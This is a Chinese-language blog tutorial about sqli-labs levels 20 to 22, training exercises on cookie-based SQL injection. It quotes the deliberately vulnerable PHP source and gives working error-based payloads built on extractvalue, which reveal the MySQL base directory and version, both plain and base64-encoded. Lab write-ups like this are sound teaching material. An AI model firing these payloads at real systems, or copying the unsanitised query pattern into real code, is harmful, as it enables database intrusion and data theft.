文章目录
- 20.Less20-Cookie Injection-Error Based
- 20.1、注入分析
- 20.2、代码分析
- 21、Cookie Injection-Error Based
- 21.1、注入分析
- 21.2、代码分析
- 22.Less22-Cookie Injection-Error Based-Double Quotes
- 22.1、注入分析
- 22.2、代码分析
20.Less20-Cookie Injection-Error Based
20.1、注入分析
有源码我们可知,当我们第一次输入username和password时,cookie从username中获得值;当我们再次刷新时,会从cookie中读取username,然后进行查询。
登录成功后,我们修改cookie,再次刷新时,这时候的sql语句就会被修改了。
报错显示数据库路径:
如下图,我们在tamper data(firefox插件)中,将cookie改为报错注入语句,然后不断地点击“OK”按钮,最后页面报错,显示了mysql数据库路径。
如下图,我们可以看见报错显示出来了mysql的路径。其他的数据请读者按照这个依次进行注入推导出来啦!
20.2、代码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39//如果cookie为空 $cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "<center>"; echo '<br><br><br>'; echo '<img src="../images/Less-20.jpg" />'; echo "<br><br><b>"; echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >'; echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>"; echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result); if($row) { echo '<font color= "pink" font size="5">'; echo 'Your Login name:'. $row['username']; echo "<br>"; echo '<font color= "grey" font size="5">'; echo 'Your Password:' .$row['password']; echo "</font></b>"; echo "<br>"; echo 'Your ID:' .$row['id']; }
21、Cookie Injection-Error Based
21.1、注入分析
这一关和上一关类似的,需要进行两次刷新,以下是刷新I前与刷新后的页面显示:
我们可以发现这里的从cookie进行了加密,尝试了编码之后我们可以发现。他只是进行一层base64加密。
类似于less20,这里的闭合方式为“单引号+括号”,剩下的只需要将注入语句进行base64加密即可。
在此给出一个payload,剩下的请读者自行脑补啦!
报错产生Mysql数据库的路径:
1
2
3
4
5admin') and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ('1')=('1 //进行base64加密后 YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSBhbmQgKCcxJyk9KCcx
21.2、代码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); $cookee = base64_decode($cookee); echo "<br></font>"; $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result); if($row) { echo '<font color= "pink" font size="5">'; echo 'Your Login name:'. $row['username']; echo "<br>"; echo '<font color= "grey" font size="5">'; echo 'Your Password:' .$row['password']; echo "</font></b>"; echo "<br>"; echo 'Your ID:' .$row['id']; }
22.Less22-Cookie Injection-Error Based-Double Quotes
22.1、注入分析
这一关与上一关是一样的,我们可以从源码得知,这里对cookie的闭合发生为双引号闭合。
类似于less20和less21,可以构造payload:
1
2
3
4
5amdin" and extractvalue(1,concat(0x7e,(select version()),0x7e)) and "1"="1 //base64编码后为 YW1kaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHZlcnNpb24oKSksMHg3ZSkpIGFuZCAiMSI9IjE=
运行结果如下:
22.2、代码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36$cookee = base64_decode($cookee); $cookee1 = '"'. $cookee. '"'; echo "<br></font>"; $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result); if($row) { echo '<font color= "pink" font size="5">'; echo 'Your Login name:'. $row['username']; echo "<br>"; echo '<font color= "grey" font size="5">'; echo 'Your Password:' .$row['password']; echo "</font></b>"; echo "<br>"; echo 'Your ID:' .$row['id']; } else { echo "<center>"; echo '<br><br><br>'; echo '<img src="../images/slap1.jpg" />'; echo "<br><br><b>"; //echo '<img src="../images/Less-20.jpg" />'; } echo '<center>'; echo '<form action="" method="post">'; echo '<input type="submit" name="submit" value="Delete Your Cookie!" />'; echo '</form>'; echo '</center>'; }
最后
以上就是帅气心锁最近收集整理的关于Sqllibs-Less20-22-cookie注入20.Less20-Cookie Injection-Error Based21、Cookie Injection-Error Based22.Less22-Cookie Injection-Error Based-Double Quotes的全部内容,更多相关Sqllibs-Less20-22-cookie注入20.Less20-Cookie内容请搜索靠谱客的其他文章。
发表评论 取消回复